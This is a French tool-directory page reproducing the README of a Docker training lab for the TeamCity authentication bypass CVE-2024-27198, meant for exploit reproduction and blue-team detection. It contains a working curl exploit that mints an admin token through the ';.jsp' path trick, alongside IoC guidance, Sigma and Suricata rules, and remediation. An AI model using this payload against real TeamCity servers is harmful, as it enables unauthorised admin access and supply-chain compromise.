Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-27198_LAB — Laboratoire basé sur Docker pour le contournement d'authentification CVE-2024-27198 TeamCity. Inclut la reproduction de l'exploit, la chasse aux IoC avec les règles Sigma/Suricata, et des exercices de détection pour l'équipe bleue dans le cadre d'une formation en sécurité. | Kitploit
Outils/GitHubGitHub/ne0zer01/cve-2024-27198_lab
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRenseignement sur les MenacesDétection d'IntrusionApprentissage et ÉducationRéponse aux Incidents

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Analyse de Journaux
Labs et Pratique
GitHubne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

Laboratoire basé sur Docker pour le contournement d'authentification CVE-2024-27198 TeamCity. Inclut la reproduction de l'exploit, la chasse aux IoC avec les règles Sigma/Suricata, et des exercices de détection pour l'équipe bleue dans le cadre d'une formation en sécurité.

Voir le dépôt
il y a 3 moisPas encore vérifié
Partager

CVE-2024-27198 Lab

Description

TeamCity fournit une page réservée aux administrateurs pour la gestion des jetons, qui n'est pas protégée par une authentification. Cela permet à un utilisateur non authentifié de générer un jeton d'accès pour l'utilisateur administrateur s'il parvient à trouver l'ID d'un utilisateur existant.


Détails CVE

  • CVE ID : CVE-2024-27198
  • CWE : CWE-288
  • CNA : JetBrains s.r.o.
  • Score de base : 9,8 CRITIQUE
  • Vecteur :
    • CVSS:3.1
    • AV:N Réseau
    • AC:L Faible
    • PR:N Aucun
    • UI:N Aucune
    • S:U Inchangé
    • C:H Élevé
    • I:H Élevé
    • A:H Élevé

Renseignement sur les menaces & OSINT

Impact réel & exploitation

  • Catalogue CISA KEV : Ajouté le 7 mars 2024, confirmant une exploitation active dans la nature.
  • Acteurs de la menace : Exploité par plusieurs groupes de rançongiciels et APT, notamment le groupe de rançongiciel BianLian et la variante de rançongiciel Jasmin. Les attaquants ont utilisé ce contournement pour créer des comptes administrateurs frauduleux, déployer des plugins malveillants et exécuter du code arbitraire (RCE) afin de se déplacer latéralement au sein des réseaux victimes.
  • Profil cible : Les pipelines CI/CD sont des cibles de grande valeur (attaques sur la chaîne d'approvisionnement). Compromettre TeamCity permet aux attaquants d'injecter du code malveillant dans les builds logiciels, de voler le code source et d'extraire des secrets de déploiement (clés AWS, certificats).

Pourquoi cette CVE est critique

La vulnérabilité réside dans le mécanisme de routage de l'API REST. En ajoutant des caractères spécifiques (comme ?jsp=/app/rest/...;.jsp) à un point de terminaison non authentifié, les attaquants peuvent tromper le serveur web TeamCity pour qu'il achemine la requête vers un point de terminaison authentifié tout en contournant les filtres de sécurité. Cela ne nécessite aucune connaissance ou accès préalable, ce qui en fait un score CVSS pur de 9,8.


Étapes pour reproduire

Lancer les conteneurs

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

Accédez à l'instance TeamCity vulnérable à http://localhost:8111. Accédez à l'instance TeamCity corrigée à http://localhost:8112.


Portail de connexion

Nom d'utilisateur :

root@kitploit:~
admin

Mot de passe :

root@kitploit:~
admin

Tester la vulnérabilité

Requête GET pour une ressource sans authentification :

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

Les deux devraient renvoyer une erreur avec le code d'état 401.


Générer un jeton pour l'utilisateur admin

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Cela devrait renvoyer un jeton comme celui-ci (le jeton est différent à chaque fois) :

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Cela devrait renvoyer une erreur avec le code d'état 401 car l'instance corrigée n'a pas la vulnérabilité.


Vérifier le jeton

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Devrait renvoyer la liste des utilisateurs.


Supprimer le jeton

  1. Allez sur http://localhost:8111 avec le compte admin.
  2. Cliquez sur l'icône de profil en haut à droite.
  3. Allez dans Profil -> Jetons d'accès.
  4. Vous verrez le jeton "REDTEAM".
  5. Cliquez simplement sur Supprimer à côté du jeton.

Équipe bleue : Recherche d'IoCs dans les journaux (Le facteur furtif)

Pendant la démonstration en laboratoire, vous pouvez montrer une découverte majeure pour l'équipe bleue : par défaut, cette vulnérabilité est incroyablement furtive !

  1. Les journaux d'accès Tomcat sont désactivés par défaut dans l'image Docker TeamCity, donc les requêtes HTTP contenant ;.jsp ne sont pas enregistrées.
  2. Le journal d'audit TeamCity n'enregistre pas la création de jetons via l'API REST.

Alors comment l'attraper ? Quand l'attaquant nettoie ses traces ! Lorsque l'attaquant supprime son jeton frauduleux pour se cacher, TeamCity enregistre cela.

Trouvez l'attaquant couvrant ses traces dans les journaux d'audit :

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Vous verrez une entrée de journal indiquant que le jeton "REDTEAM" a été supprimé).


Arrêter les conteneurs

root@kitploit:~
docker compose -f docker-compose.yml down

Atténuation & Détection

Analyse technique (CWE-288)

Cette vulnérabilité est une instance de CWE-288 : Contournement d'authentification via un chemin ou canal alternatif. Le défaut provient d'un problème de confusion de chemin entre le serveur web Tomcat et le routeur d'application TeamCity. En ajoutant ;.jsp et en passant le point de terminaison de l'API REST cible dans le paramètre jsp=, le filtre de sécurité initial interprète la requête comme une requête non authentifiée vers un fichier .jsp public (ce qui est autorisé). Cependant, le routeur interne supprime le ;.jsp et transmet la requête au point de terminaison restreint /app/rest/ sans appliquer le filtre d'authentification.

Cas d'utilisation légitime (Pourquoi ; est-il autorisé ?) : Tomcat utilise le point-virgule (;) pour les paramètres de matrice. Historiquement, ce mécanisme est utilisé pour passer des paramètres directement dans le chemin, comme l'ajout de JSESSIONID pour maintenir l'état de session utilisateur lorsque les cookies sont désactivés. Ce comportement normal et légitime du serveur web, combiné à la validation incorrecte par le routeur d'application TeamCity, crée la vulnérabilité.

Indicateurs de compromission (IoCs)

Pour détecter une compromission en cours ou passée, les équipes bleues doivent rechercher :

  1. Journaux web : Requêtes HTTP ciblant les points de terminaison /app/rest/ mais contenant la chaîne anormale ;.jsp dans l'URI.
  2. Journaux d'audit (teamcity-server.log) : Génération inexpliquée de jetons d'accès ou création de nouveaux comptes administratifs.
  3. Niveau système : Installation de plugins non reconnus ou suspects (souvent utilisés par les attaquants pour élever les privilèges et réaliser une exécution de code à distance).

Détection par journaux (Règle Sigma)

Étant donné que l'exploitation initiale est furtive par défaut, les équipes bleues doivent s'appuyer sur la détection des actions post-exploitation de l'attaquant, comme le nettoyage de ses traces. Voici une règle Sigma pour votre SIEM afin de détecter les suppressions de jetons suspectes :

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

Démo SIEM en direct (Équipe bleue)

Pour prouver que cette détection fonctionne, exécutez le script siem_simulator.py.

  1. Ouvrez un deuxième terminal à côté de votre terminal d'exploitation.
  2. Assurez-vous que le conteneur vulnérable est en cours d'exécution (docker compose up -d).
  3. Exécutez le simulateur :
root@kitploit:~
python3 siem_simulator.py
  1. Dans le premier terminal, exécutez l'exploit, vérifiez le jeton, puis supprimez le jeton via l'interface web.
  2. Regardez le deuxième terminal s'allumer avec une alerte critique rouge montrant la règle Sigma capturant l'attaquant couvrant ses traces !

Remédiation

  • Correctif officiel : Mettez à niveau TeamCity vers la version 2023.11.4 ou supérieure, qui nettoie et applique correctement la correspondance des routes côté serveur.
  • Mesure de contournement : Si le correctif est impossible, JetBrains a publié un plugin de correctif de sécurité qui peut être installé sur les instances vulnérables.

Détection réseau (Règle Suricata / Snort)

Pour détecter cette tentative d'exploitation sur le réseau, un SOC peut implémenter la règle IDS suivante, qui recherche le motif anormal ;.jsp combiné aux chemins d'API REST :

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Tester la version corrigée (Démonstration en laboratoire)

Pour prouver que l'atténuation fonctionne, vous pouvez lancer la même charge utile d'exploitation contre le conteneur TeamCity corrigé fonctionnant sur le port 8112 :

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Étant donné que le correctif applique strictement la correspondance des routes et nettoie correctement les paramètres de matrice, le contournement échouera. Vous devriez voir une réponse 401 Unauthorized ou 404 Not Found au lieu d'un jeton généré.


Liens

  • CVE-2024-27198
Télécharger l’outil